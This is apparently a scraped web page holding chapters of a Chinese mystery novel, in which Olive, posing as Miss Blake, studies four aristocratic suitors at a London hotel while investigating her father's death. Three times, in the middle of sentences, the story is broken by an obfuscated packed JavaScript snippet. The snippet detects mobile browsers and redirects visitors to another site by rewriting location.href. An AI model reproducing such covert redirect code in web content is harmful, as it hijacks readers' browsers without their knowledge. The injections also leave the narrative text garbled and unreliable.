d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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反正,凶手想寻回袖扣,说明他明白,这是个疏漏。他有点沉不住气了,不过,面对面的对决还没有开始呢。 奥丽芙仔细回想,认为多一半可能,敌人还不知道她的模样——回到英国后,她几乎没在伦敦停留就去了姨妈家。后来,在外面活动时,她一直很留意地戴着面纱。也就是说,现在,她和凶手,都对对方隐藏身份,最后的输赢还未可知。 奥丽芙已经等不及要与他会一会了。 5. 初次会面 奥丽芙·布莱克小姐融入伦敦社交界可谓不声不响、顺理成章,好像一滴水落在了池塘中。人们早已习惯了在库珀先生府上遇到惊喜,比如年份极佳的葡萄酒,再比如,一副马奈。那么,突然变出来一位教女也就不足为奇。不管在哪儿,美丽文雅的少女总是受人欢迎的。 奥丽芙在绿窗酒店安顿好之后,第一个星期五,库珀先生在花园举办了一次下午茶会。客人除了与库珀一家很熟的凯里夫人,还有酒店的几位长期住客,余者都是伊迪丝的年轻朋友——是用网球比赛的名义将他们邀来的,绿窗酒店的花园中,有两块很好的草地网球场。 这一天,奥丽芙将“自然而然”地与伊迪丝的几个准求婚人会面。 网球赛开始前,凯里夫人向奥丽芙一一介绍了初次见面的几位年轻人: 查尔斯·默顿,世袭英国贵族、赫赫有名的默顿公爵的儿子。他身量高,骨架大,生着深褐色头发和深褐色眼睛。小默顿用一种很无礼的惊讶目光看了奥丽芙片刻,才缓缓弯身鞠躬,样子非常倨傲。 丹尼尔·范德梅尔,荷兰伯爵。他长得非常英俊,蓝眼睛,一头深金红色的头发,脸上挂着自知风流倜傥的笑容。只有他一个,在被介绍之后亲切地对奥丽芙说了几句话,但他举止很得体,并不过分殷勤。 休伯特·德·雷斯托,拥有子爵爵位,他是一个羞涩的法国青年,当凯里夫人称他是“子爵”时,他的脸唰一下红了,嘴里不知嘟哝了几个什么字。德·雷斯托比另两位低半个脑袋,脸蛋像姑娘般秀气。总的来说,一面之下,奥丽芙对他最有好感。 Z伯爵,按理奥丽芙能够见到他。他接受了库珀先生的邀请,但不知因何事耽搁了,没有前来赴约。 不过,奥丽芙对他的样子有一番猜测。她看出,库珀先生挑女婿,除去高贵的身份,外表是另一个重要考量。其中三个人都不差,第四位应该也漂亮——魔术师那种漂亮。奥丽芙总感觉,一个人被叫做Z,肯定是个行止乖僻的家伙,带着做作出的神秘气息。在她脑中,Z伯爵的形象隐隐和曾见过的一位表演二流戏法的角色混成了一团。 喝完茶,大家商量起球局的安排。范德梅尔很有礼貌地询问奥丽芙愿不愿打球,得到肯定的答复后,他揪住旁边一个侍者吩咐了几句。 “等等Z伯爵吧。”小默顿向周围几人望了一圈,慢吞吞说,“我们可以组成四对来混合双打。” 在场会打球的还有霍尔家的一对姐妹花,加上三个男士,只差一个Z伯爵,就正好八人。 范德梅尔急着上场,说:“谁知道他几时来,我们先开始,四个人双打,两个人单打,还有一个记分。谁计分?” 霍尔姐妹抢着要记分,最终结果是,德·雷斯托在场边记分,两姐妹对打,剩下四人双打。 “咱们抽签分组吧。”范德梅尔说着,见刚才那侍者送来纸笔,立马裁两张纸条,写下名字。奥丽芙注意到,他用左手写字。 “两位小姐,谁先抽。”范德梅尔满面笑容,举起折好的纸条。 奥丽芙和范德梅尔搭档,伊迪丝抽到了小默顿。 接着,两位男士便去换上了白色法兰绒衣裤。姑娘们依旧着裙装,为了比赛,她们事先就穿着稍微宽松的衣裙,不用再更换了。 伊迪丝网球打得很好,她是那种热衷户外运动的女孩,每天早晨都去海德公园骑马,在有同伴的时候,下午喜欢打几场网球。奥丽芙接触网球的时间不长,和伊迪丝打过,说实话,不是她的对手。不过,在双打比赛中,假如和队友配合得好,还是有获胜的希望。 尤其是,奥丽芙马上看出,范德梅尔比小默顿的水平要高。站在一处时,两人体格看上去差不多,但若动起来,小默顿显得比范德梅尔重三十磅,而范德梅尔要比他灵活、轻快一百倍。 场上四个人,只有范德梅尔一人用左手,他充分地把这一点化为优势,不断用自己的正手攻击对方反手;他还很会配合,哪怕奥丽芙是头一次和左撇子合作,也并没有撞拍。小默顿的长处在发球力量大,但他跑动速度略慢。伊迪丝虽然没有抱怨,却有几回急躁地跺了脚。小默顿红着脸向她笑,不过并不慌乱,轮他发球时,手臂挥得气势十足。 奥丽芙渐渐意识到,刚才可能对小默顿误解了:他的眼睛生得稍微有点突出,因此看人时略带凶相,实际上他倒是个脾气挺好的人;他在鞠躬时也并非傲慢,他就是那个习惯,每做一个动作都力求庄重,有点庄重过了分。 赛前,范德梅尔笑看着伊迪丝和小默顿说:“我可不会手下留情的。”尔后,他又朝奥丽芙眨眨眼睛,“信不信,咱们能赢。” 奥丽芙对一场网球的输赢倒看得不重,但她不喜欢自己是拖后腿的人,所以,她真是拼尽了全力。她和范德梅尔连赢了三局。 大家扔下球拍,坐在凉蓬下喝茶休息。突然,奥丽芙感到周围变静了,似乎所有人都停下了手头的事,而他们的目光全部朝同一个方向望去,于是她也转过头。 什么都没有,只是一位英俊非凡的年轻人正在走进花园。 他大概察觉大家都在对他注目,嘴角漾起微笑,摘下了帽子。 他金色的头发和透过树荫的阳光交织在一起,一瞬间,周围以绿色为主的斑斓色彩变成了画布上精心安排的笔触,而中央的人物,无论什么样的画笔也不可能捕捉到他超逸的风采。 实际上,用英俊还不足以形容他。神话故事里高傲的月亮女神怎么会爱上牧羊人的?如果牧羊人长这副模样,就完全说得通了。 小默顿扬起手,大声喊:“你来晚了,Z伯爵。” 这是Z伯爵!奥丽芙本该想到的,却吃了一惊。原来,Z伯爵不是一个身着长袍、散发着龙涎香味、至少三十五岁的男人。 实际上,无论从Z伯爵愉快的面容,还是轻松的步子,都看不出分毫做作的态度。甚至连他的衣服都特别恰如其分——他的早礼服看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922028|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既不特别崭新,也不特别昂贵,不过就是极其合身罢了。在奥丽芙看来,只有一个真正的、彻头彻尾的贵族,才能穿得这么朴素而优雅。 他走进凉篷,立即被几个人起身围住。从身量看,Z伯爵比小默顿和范德梅尔略低,比德·雷斯托子爵则高些,可他站姿那么随随便便,又那么挺拔,好像轻而易举就成了众人仰视的对象——除了两个人,奥丽芙除过了自己和范德梅尔。 Z伯爵道歉说他弄错了时间,说话时他的笑容仿佛明知所有人一定会对他宽容,差不多的确如此,只有范德梅尔嘴角不屑地动了动,奥丽芙站在旁边,正好看到了。 “咱们接着打,”小默顿兴致勃勃地说,“换我记分。” “不了,不了,你们继续,你们不是都换好衣服了。我懒得换衣服,我看着你们。”Z伯爵摆手说。 “用不着换,你就穿那个,也能把他们打得落花流水。你和库珀小姐。不然,真没法对付这家伙。”小默顿指一指范德梅尔。 Z伯爵也望向范德梅尔,同时看到了奥丽芙,他露出发现多了个陌生人时稍感意外的表情,但一闪而过,很快地转过脸,对小默顿和伊迪丝说:“实在对不起,我确实没打算打球。我很愿意在旁边观战。” “那我们再来一场,这回掷硬币分组。”范德梅尔手向兜一摸,笑起来,“我忘了,我的幸运币在那件衣服里,Z伯爵,你帮我们抛吧。” “抱歉,我身上没装钱。” “别算我。”伊迪丝说,“我也不想打了,我太累了,回去换身衣服。”说着她便朝花园外走去,留下身后几双惊讶的眼睛。 大家继续喝茶,等了一会儿,不见伊迪丝再出来。谁都知道,一个有钱的美国姑娘难免有些任性,无人表示诧异,只不过其他人也都感到累了,没人再提打球的事。 奥丽芙想,伊迪丝虽然有点小脾气,但还不至于因为输比赛赌气,是因为Z伯爵不肯上场?她偷眼看Z伯爵,伊迪丝走后,他似乎也是闷闷不乐,没有凑入人群说话,而是一个人坐在一边,垂着脑袋。 奥丽芙今天的任务是认识四个人,不管他高兴不高兴。这时,用完茶的人纷纷起身散步,当奥丽芙单独遇上凯里夫人时,问她:“能不能请你把我介绍给Z伯爵?” “怎么,我以为你和他已经结识了!瞧我,总想着,没有谁不认得Z伯爵嘛。”凯里夫人笑道。 奥丽芙脸不禁一红。凯里夫人大可不必声音放这么高,Z伯爵一定是听见了,只见他迅速转过头,起身朝她们两个走来。 “Z伯爵,”凯里夫人笑容满面地说,“我听说你还没有见过库珀先生美丽的教女,布莱克小姐。” “是啊,我正在懊恼今天来晚了。”Z伯爵一手背后,风度翩翩地一鞠躬,“久已闻名,不胜荣幸。布莱克小姐。” 他深金色的睫毛落下时被阳光映出一道闪亮,然后,睫毛翩然抬起,海水蓝色的目光直射在奥丽芙脸上。 6. 夜间幽会 “Z伯爵来自丹麦。”奥丽芙听见凯里夫人在旁边说。 “愿不愿意再喝杯茶?”Z伯爵问。 奥丽芙点头,Z伯爵便同她又走进凉蓬。这里已经没人了,侍者正在收拾,见到二人,立即又端了茶壶茶杯来。Z伯爵从兜里摸出一枚一先令银币塞到侍者手里:“谢谢你,约瑟夫,我自己来吧。” 约瑟夫退开后,Z伯爵用左手提起茶壶。 莫非他也惯用左手?小默顿刚才说只有他对付得了范德梅尔,恐怕是这个意思。 Z伯爵在小指上戴着一枚印章戒指,上面只有一个字母Z,他左右手的一对袖扣上,刻着同样的字母。奥丽芙很快把这一切看在眼里,但目光依然跟随他的动作。Z伯爵摆弄起茶盏茶匙十分随意,甚至都不是轻拿轻放,弄出了一些丁零当啷的响声,可不知何故给人一种愉快的感觉。 他抬起头时,奥丽芙的视线还没有从他手臂上收回来。 “为什么大家都叫你Z伯爵?”奥丽芙把想到的第一句话来问他。 Z伯爵侧头看着奥丽芙,彷佛她问了一个最奇怪的问题。他把茶杯递给奥丽芙,温和地笑着说:“我姓Zachariasen,我嫌不好发音,就改称Z了。” Zachariasen,奥丽芙不记得在哪里听过,可是这个姓触及了她心中一个美妙的记忆——好像是从童话中获得的,对于蜿蜒的海岸、青翠的森林、起伏的丘陵、以及如山岩般魁岸的古堡的记忆。 奥丽芙曾和父亲在丹麦短暂逗留过,能说几句丹麦语,当下,她慢慢用丹麦语问:“你的家乡是不是在奥胡斯?你的英语说得真好,简直像个伦敦人。” Z伯爵眼睛里闪出一点惊奇,他立即用丹麦语回答:“不,小姐,虽然你猜得挺接近,我的祖上一直生活在科灵。” 他还说了一串话,奥丽芙仅抓住了“伦敦”一词。 她改回英语:“抱歉,我并不懂丹麦语。” Z伯爵笑了,用英语解释说:“十多岁前,我生活在科灵,不过,那时我有一位声称来自伦敦的家庭教师,——多亏小姐你的夸赞,我终于确信他没有撒谎。”Z伯爵的笑容中带着淡淡的伤感之意。对一位离开故土,回忆起少年时光的人来说,这是很自然的感情。 他又问:“你在丹麦呆过,奥胡斯?” “我父亲喜爱旅行,他曾带我去过北欧,我在奥胡斯和哥本哈根都住过一两个月。”奥丽芙答。 Z伯爵在英国大概不容易碰到同乡,哪怕一个对丹麦略有印象的人都让他大为高兴,他和奥丽芙整整聊了两杯茶的时间。 刚才,在介绍另外三人和奥丽芙认识时,凯里夫人还顺带提了提他们的家人:小默顿的父母和妹妹正在巴斯,因为公爵夫人身体抱恙,医生建议了温泉疗法;范德梅尔和小默顿一样,也有个妹妹,他的母亲和妹妹仍在荷兰;德·雷斯托没有兄弟姐妹,他和母亲在伦敦旅居,奥丽芙前两天已经见过子爵的母亲。 唯独见到Z伯爵,凯里夫人没拿几句话问候他的家人。现在,奥丽芙才知道,原来Z伯爵是孤身一人。他的双亲在他十岁前均已过世,留下他一个,由忠实的管家照料长大。 不过Z伯爵并没有自怜的情绪,他兴致勃勃给奥丽芙讲述他十八岁离开丹麦后的经历,他在欧洲每个大城市都停留过三五个月,自称伦敦是他最喜欢的地方。 这真和奥丽芙的少年时期有点像!奥丽芙觉得,她好久没和谁聊得这么投机了。 不过,奥丽芙并没有泄露出自己的真实身份。库珀先生告诉过她,他在英国来往的这些朋友中,没有人识得布莱克先生,要她不必过分担心露馅。奥丽芙还是专门花了一个下午的时间,编写了详尽的布莱克先生、太太、及小姐的“履历”。她想,库珀先生本人就是旅居欧洲,他的朋友喜爱游历并不奇怪,因此,她在“布莱克一家”的生活中加入了许多她和父亲的真实经历。 在社交场上,必要的时刻,奥丽芙从履历中抽出一部分在谈话中使用,根本没人怀疑。由此,奥丽芙发现,伪造高贵的门第大概也并非多么困难的事——只要编造的范围更深一些、广一些,编造出一整套家族历史,背得滚瓜烂熟就可以了。 那么,Z伯爵的履历是不是他编造的?暂时不好说。不过,娴熟地掌握一门语言又是另一回事。从Z伯爵的丹麦语看来,他的国籍似乎没问题。但奥丽芙不会轻易相信谁——即便童话中,也常常出现骗子。 “蜜蜂!”Z伯爵突然喊道。 这个词令奥丽芙心猛一跳。 “别动。”Z伯爵身子已经探过来,胳膊伸到她帽子后面一挥,奥丽芙连忙扭头,一只蜜蜂在空中犹豫地停了片刻,绕个圈,嗡嗡地飞走了。 她转过头,看见Z伯爵笑望着她。“对不起,小姐,我还以为它要落在你身上。它肯定是闻到了蛋糕的香味,这些嘴馋的小虫子。” 他的态度中毫无不自然之处,于是奥丽芙也就平静下来。主要是蜜蜂这个词让她紧张。有点太疑神疑鬼了。 好在惊魂甫定的模样不用装,奥丽芙笑笑说:“谢谢,我确实挺怕蜜蜂。” . 晚上没有宴请时,奥丽芙常和库珀父女一起吃晚饭,但是今天伊迪丝不舒服,奥丽芙便也在自己房间独自用餐。饭后,她在桌前翻开笔记,看了一会儿,又开始思索四个人的性格。无意中,她向胸前一摸,却摸了个空:挂在脖子上的盒子挂坠不见了。 奥丽芙惊慌地站起来,将全身上下翻了一遍。挂坠是金的,成色不算好,但它宝贵并非由于它的表面价值,而是因为放着父母的照片。 她仔细回忆:下午打网球的时候,觉得帽子碍事,可是淑女运动时也不能摘掉帽子,为了尽可能“轻装”,第一局结束后,她悄悄把项链解下来,放在裙子兜里,打完球立即就戴上了——确实戴上了,她记得那个动作。是不是那时没扣好搭扣?若如此,项链一定是掉在网球场附近。 奥丽芙立即下楼去找。天已经半暗了,灰蒙蒙的,她向酒店门卫借了盏灯提在手里,沿着灌木中的石子小路走向网球场。 这是个美好的夜晚,空中浮着甜香的气息。虽然和父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922029|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过许多地方,但奥丽芙的大部分知识,仍是由书本上来的,或者说,她觉得印在纸上的才值得记住。白天,她的植物学知识足够辨认五十多种草木,可是书上只有图画没有香味,眼下,她可就说不出究竟是哪种花这么讨人喜欢,她只是不自觉地深深呼吸。 突然,有喁喁细语声从树丛后传来,听不清在说什么,是个女孩,可能是一个受了委屈的女仆向好友偷偷抱怨并接受安慰。 奥丽芙不想换条路绕过去,何况,迟早要打扰她们的,她加重了脚步,咳嗽一声。细语声立即止住。“有人在那儿吗?”奥丽芙礼貌地问。 一个黑影箭一般窜出去,又一个灰蒙蒙的白影子鸽子般飞快扑到奥丽芙面前。 伊迪丝停下步子,微微喘着气说:“我有点头疼,出来散散步,这就准备回去。” 伊迪丝是个感染力很强的女孩,她大笑时,看到的人会突然想起几件开心的事,她哭泣时,周围的人便禁不住难过。这时,伊迪丝紧张的面容和急速的语调使奥丽芙也有点着慌,她不好意思再向后张望,把那个黑影子看清楚,赶忙解释说:“我的项链不见了,恐怕是打球时掉在这里了,我来找找看。” “恐怕不好找吧,你跟贝斯特先生说一句,他会让清洁工明天早上来找。” “我先看看,如果没有,我就这么办。”奥丽芙说。 “我不能帮你了。晚安。”伊迪丝向奥丽芙点点头,急急忙忙跑回去了。 伊迪丝为何要悄悄和人见面?不管她想和谁交朋友,库珀先生都会大大方方把对方请到家里。不知怎的,奥丽芙直觉跑走的黑影子是四人里面的一个。那就怪了,白天刚刚见过,以后也还有大把见面机会,有什么事这样着急?——肯定是范德梅尔或Z伯爵,小默顿绝无黑影那么轻便的动作,而德·雷斯托是个腼腆的青年,不大可能背着人…… 想到刚才伊迪丝脸上明明白白显出羞愧的神情,奥丽芙不再猜测了,她觉得发现这个秘密好像对不住伊迪丝,脸有点红。当务之急是找到项链,她举着灯将网球场周围照了一遍,可项链没找到。 第二天,酒店总管贝斯特先生回话说,一大早花匠、工匠、清洁工等人已经把花园和网球场细细搜寻过,没看到丢失的首饰,要不要通知库珀先生,挂个悬赏? 奥丽芙很失望,请贝斯特先生私下里再嘱咐一下酒店员工,但不用麻烦库珀先生,她自己愿出五镑“赏格”——其实她愿意出更多得多的钱,只要能换回项链,不过五镑已超出项链价格,足以购得一块做工精湛、走时准确的日内瓦金表,再多怕是要吓到别人,反而不好办了。 上午,伊迪丝请奥丽芙陪她一起去骑马。伊迪丝的气色已经恢复如初,脸上还剩下的一丝丝不安,在见到奥丽芙毫无异色后,便也消失无踪了。她问起奥丽芙的项链,出了几个主意,从海德公园出来,又兴致勃勃拉奥丽芙去凯里夫人家坐坐。 奥丽芙是头一回会见亨利·凯里爵士,凯里夫人一高兴,硬留下两位姑娘吃午饭,饭桌上,凯里夫妇谈起了昨天刚刚发生的一件珠宝失窃案。 7. 胸针窃案 “就发生在骑士桥,下午四点。”亨利爵士意味深长地看了眼妻子。 “想想看吧,茶会的时候我还和霍尔太太谈论那位盗贼,谁能想到,当时,就在距离我们只有半英里的地方,他正在行窃。”凯里夫人心有余悸地摸了摸领口的浮雕别针,仿佛要是再差一点,昨天丢失的就是这件东西。 “真怪,盗贼怎么知道恰在这一天这个时候,侯爵夫人会带着她的珠宝途径骑士桥?”凯里小姐不解地说。 原来,昨日下午,斯塔福德侯爵夫人将家传的一枚宝石胸针送去珠宝店,想要重镶一下,她听闻最近窃案高发,特意请了两名警察跟在马车前后,一路护送。经过骑士桥时,一匹拉车的马突然受惊,险与另一马车相撞,警察近前看视,未发现异样,也没有可疑人士接近马车,不到一分钟,车子继续行驶。最后,斯塔福德侯爵夫人当着警察和珠宝店员的面打开盒子时,发现其中的胸针已不翼而飞。 这是两个月内伦敦市区发生的第三起高级珠宝失窃案,前两回,失窃地点分别是珠宝商门窗紧锁的私人住宅,以及闲人免进的贵族狩猎俱乐部,如今又增添一个警方押运途中,假使盗贼真是同一个人,似乎他在故意向人炫耀自己的盗技多么高超,他多么不把号称世界一流的警力放在眼里。 “他什么都知道,而且胆子非常大。看着吧,他还要再得手几回。”凯里夫人边说边向伊迪丝瞟了一眼。 伊迪丝喜欢在凯里夫人面前撒娇,她笑嘻嘻说:“我倒有点想见见这个大盗。不过,我只有几件小首饰,我爸爸说年轻女孩不该戴大宝石。” 凯里夫人瞧了瞧伊迪丝戴的手镯,上面镶的蓝宝石差不多有指甲盖那么大,她慈爱地安慰:“等到你二十岁的时候……” 奥丽芙在早晨的报纸上读到了新闻。“伦敦果然是犯罪都市。”当时,她讽刺地想。 本来,她倒很可能佩服盗贼,因为他把伦敦警察耍得团团转,但她想起自己的项链或许再也找不回来了,便不由同情那位丢了传家宝的侯爵夫人。 她有点烦躁,恨不得快回去再问问贝斯特先生最新的消息,可午饭后,凯里夫人又拉她们一起逛街,晚餐时分,奥丽芙和伊迪丝才回到绿窗。 两人去问候库珀先生,发现这晚来了几位客人。库珀先生广交朋友,经常宾客盈门,这不奇怪,但今天的来客都是年长者,中间插着Z伯爵,奥丽芙颇觉惊讶。 饭后,奥丽芙与伊迪丝坐在客厅陪几位太太聊天,奥丽芙用眼睛余光留意着Z伯爵,发觉他在与别人的谈话中,仿佛也在暗中注意她这里的动静。 不然,就没法解释她刚刚空闲的时候,Z伯爵立即走到她身边,举起左手:“这件东西是不是你的?” 他捏着的手心稍稍松开,一条金链子落下来,链子上挂着一个金镑大小的扁圆盒子。奥丽芙赫然发现他真的有点像魔术师。 “是我的。”奥丽芙一把抓过来,“你捡到了?” “昨天下午在花园捡的。” 奥丽芙打开吊坠查看,里面有张母亲的照片。其实,最早的时候,有两张小像:一边是母亲的肖像画,另一边是父母的合照。虽然合照很小,不大容易看清,而且一般也不会有人要求看,不过奥丽芙为防万一,还是把合照藏在了母亲的肖像下面。 果然,就出了“万一”的事情。要是Z伯爵看到照片,有可能识出她是费克特先生的女儿。 一眼看过去,盒子里的照片没有被翻动的痕迹。奥丽芙抬头看Z伯爵。 Z伯爵脸上带着羞愧之色:“未经允许,我打开看了,请原谅。” “你捡到时就应该问问是谁掉的,伯爵。”奥丽芙没好气地说。 “是的是的,实在抱歉。昨天有不少客人,本来我打算交给库珀先生,请他帮忙询问一下,不过后来我忘了这件事,回到家后一摸口袋才记起来。”Z伯爵神色懊恼,“不巧今天我另约了朋友,不然就能早点归还了。但一有工夫,我还是不请自来。我想先问问你,若不是你的,再去问库珀先生。” 奥丽芙向他道了谢,心中却怀疑:如果不是下午捡到,而是傍晚呢?假如他等伊迪丝时在网球场边徘徊,一低头碰巧看见——那他应该问伊迪丝,可昨天伊迪丝的样子又显示她绝对不知情。 要不然Z伯爵根本没告诉伊迪丝——何须用此等小事浪费二人独处的时光?但约会被打断,Z伯爵回去后,打开项链,发现撞破幽会的正是项链的主人,所以今天特意来探探口风? 可是,从照片上认得出吗?奥丽芙知道自己长得不大像母亲。 Z伯爵说:“恕我冒昧,这张像画得很好,这位夫人是……” “是先母。” Z伯爵垂下眼睛:“非常非常抱歉。” 奥丽芙没说话。Z伯爵又说:“你和你母亲,神态中有很相似的地方。因此我看见画像便认出来了。” “别人都说我更像父亲。”奥丽芙望着他。 “你也像你母亲。”Z伯爵站起来,微一鞠躬,转身走了。 奥丽芙稍一愣怔,她还想要试试昨天仓皇逃走的那个人到底是不是Z伯爵,她准备好了几句话,没来得及问出口。 . 奥丽芙和库珀先生谈好工作,在绿窗酒店住下后,所做的第一件事,是设法了解父亲在伦敦的日常生活。 可惜,所获不多。父亲没有雇用贴身男仆——认为这是贵族老爷的习气。只有在某地长期居住,譬如好几月或半年,因而另租房子,不住旅社时,他才会临时雇人干些粗活。而此次父亲回到英国,本是准备在牛津定居,只是为了库珀先生的委托,才暂时在伦敦落脚。库珀先生请他住在绿窗,他没有答应,另找了一家膳食旅馆。 因此,最清楚父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922030|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几日行程的只有旅馆主人麦凯伊太太,奥丽芙询问了她。 “费克特先生常常上午出门,晚饭时回来,会提前通知不要为他准备茶点,但从来不说他去哪儿,见谁。通常他最迟也会在晚饭后回来,出事那天,白天他没外出,只是吩咐不要晚饭,晚饭时他出去了,到了十点还不曾回来。我没有太放在心上,我以为他准是和见面的朋友谈得很投机——费克特先生实在是个和气的人,就是太有学问了,和我们一般人说不到一起…… “直到十一点,警察登门查问我才晓得。实在太不幸了,偏偏那个晚上月色特别好,空气清新,费克特先生肯定是见完朋友后想散散步,慢慢溜达回来,谁晓得……那位朋友一定怪死自己了。” 麦凯伊太太不知道“那位朋友”是谁,“费克特先生一点儿口风都没透。”奥丽芙认为已经有了个大疑点:假如真是朋友,他怎么会一直不出现,甚至连吊唁信都没写一封?但警方认为这件事不值一查,他们不理会麦凯伊太太的反对,坚信费克特先生只是吃腻了旅馆的饭菜,在外面随便找个地方用了一餐,吃完又想散散步。 奥丽芙走访了周围的饭店、酒馆,一无结果,没有人见过父亲。她只好把目光再转回到四个求婚人。 现在,她已经与四人面对面见过,接下来,要进一步观察他们的人品,调查他们的家世,设法探明他们与父亲的会谈经过。 其中,有些事情“布莱克小姐”能够做到,而另一些,譬如说,向别人家的男女仆人套套话之类,奥丽芙发现,“小姐”身份就不大方便了。 而这时,通过平日的交谈,奥丽芙认为能够信任库珀先生,便把一部分想法告诉了他:并没说自己着重怀疑他们四人,那会使库珀先生极其不安的——只说袖扣和匿名信,因而猜测凶手还在伦敦,且身处上流社会。 库珀先生说:“我明白了,这件事我也有责任,不,暂时先不谈那些。正好,我有个朋友正在伦敦闷得慌,他能够做些调查,像找俱乐部的侍者问问话这类事,他很拿手。费用由我承担,你的一切猜想都可以放心透露给他。” 这位“私家侦探”布朗先生也是个美国人,从事法律方面的工作。奥丽芙把几乎所有事都向他吐露了,他则为奥丽芙打听到一些情况: 身为贵族阶层,那四个年轻人都以游手好闲为己任,在没有宴请的日子,他们全都泡在俱乐部消磨时间。 几个人加入的俱乐部几乎完全一样,库珀先生亦是他们所在的赛马俱乐部和狩猎俱乐部会员。但这四人平日最常去的是一家贵族俱乐部,以高昂会费和严苛条件而闻名:初次入会需缴纳一百英镑,后续每年再缴纳八十英镑年费,会员非但不能从事商业活动,还必须拥有从男爵以上头衔。 在费克特先生遇害的那天,二月二十四日晚上,四人中的三位——除小默顿之外——都没有在俱乐部现身。 8. 慈善义卖 先说小默顿,他去俱乐部,一般都呆在图书室,遇到相熟的朋友便聊几句,否则就埋头工作——他不单爱好,简直可以说痴迷于园艺学,打算将大不列颠岛所有可人工栽培的花卉整理成书。 奥丽芙曾见他请教范德梅尔郁金香的种类,范德梅尔毫不客气地回答:“我知道它们是花,有不同的颜色。至于别的,那是女人们关心的事。” 这话还是当着伊迪丝面说的,但伊迪丝一点儿没有生气,因为她恰恰对摆弄花草毫无兴趣,而更喜欢男人们喜欢的、诸如马球、打猎等激烈、激动人心的活动。小默顿当时没露丝毫羞愧的表情,而是颇有尊严地起身走开了,甚至没理会伊迪丝。他对园艺是真爱。 二月二十四日晚,小默顿和以往一样,要了一杯白兰地,边喝边读书,有账单为证;他总是十点半离开俱乐部回家睡觉,侍者不记得有哪个夜晚与别个不同。如果他是凶手,要么他会分身术,要么另有人在他指使下实施犯罪。 但奥丽芙认为,若凶手是四人之一,他杀害父亲,应该没有经过细细谋划。他一见到父亲,为某个原因,立即起了杀心,而不是再等几日——假如当天夜里父亲就给库珀先生写信呢,凶手不能冒那个险。 时间紧迫,他必须迅速出手,也就没法去找一个心狠、手辣、嘴严的人替他杀人。哪怕是假仆人之手,他自己也得在场,因为他必须确保事情做成,否则他就完蛋了。这种情况下,他恐怕信不过别人。掉落在现场的袖扣也证实了并非仆人独自作案——仆人不会戴袖扣。 小默顿的身份其实毫无问题:身处伦敦,大英帝国的中心,要假充一位英国公爵,不管这骗子有多大的胆量和多高的手段,都不可能。这件事只对外国人容易。 不过,不一定是单纯的身份问题,也可能存在别的缘由,促使小默顿杀人。只是因为他有“不在场证明”,奥丽芙暂且排除了小默顿的嫌疑——也并非百分之百排除,说不好以后会有对他不利的证据突然冒出来。 至于范德梅尔、德·雷斯托和Z伯爵三人的行踪,差不多是一片空白。只知道那天晚上,他们没有参加较大的宴会——因为时间相隔甚远,这个结论的得出也很费了布朗先生一番力气,而只有二三当事人、私下里的小型约会更是无从知晓。 奥丽芙并没有特别失望。现在就灰心为时过早,她只是认识了几个人,还没有对谁熟悉呢。 等着瞧吧。 . 五月初,伦敦进入了最美的时节,正是户外活动的好日子。在海德公园的西南角,劈出了一块场地,正举办一场游园会。 在任何一个社交季,类似的游园会起码要举行两次,这回是由“美丽世界妇女联盟”主办的,游园会上安排了抽彩、有奖游戏、义卖等活动,所得的收入将捐献给贫穷的单身母亲及其孩子。 凯里夫人是“美丽世界妇女联盟”的副主席之一,她动员了很多熟人参与,奥丽芙也领到了任务:当天,她要负责一个义卖摊位。 这种简易货摊是由一个小遮阳棚、两张桌子、一只方凳、一个装钱的木头盒子组成的。围着举行游戏的草坪,设着七八个这样的摊位,摆着不同的物品。午饭后游园会开始,头一个小时,奥丽芙卖出一小半货物,站起来略微活动活动。 她看见一辆两匹马拉的马车驶来,车夫穿着醒目的制服——黑上衣,金黄背心;马车上的盾形徽章也同样醒目。 这枚纹章黑色底,由三个金色的菱形分为上下两部分,上半部分绘着一支金色鸢尾花,下半部分是只头戴金冠、张着翅膀的白天鹅。 奥丽芙早已认出这是德·雷斯托家的车子,像前几次一样,她暗暗皱眉:用鸢尾花暗示与卡佩王朝的关联,早就不是什么新鲜做法了。但纹章中使用天鹅图案,是七八十年前才开始流行的。 马车正好在奥丽芙的摊位前停下,德·雷斯托母子下了车。 奥丽芙起身问候二人。子爵很有礼貌地鞠了一躬;他的母亲,德·雷斯托夫人是个外表精明、严厉的女人,与奥丽芙没说过几句话,但此时她也屈尊露出笑容,并问:“布莱克小姐,怎么只有你一个人在这儿?” “主持游戏需要人手,凯里夫人和库珀小姐都在那边。”奥丽芙回答。 德·雷斯托夫人回头向草坪中央望了望,笑着说:“这和我们在巴黎时的游园会有点像了。——走吧。”她对儿子说。 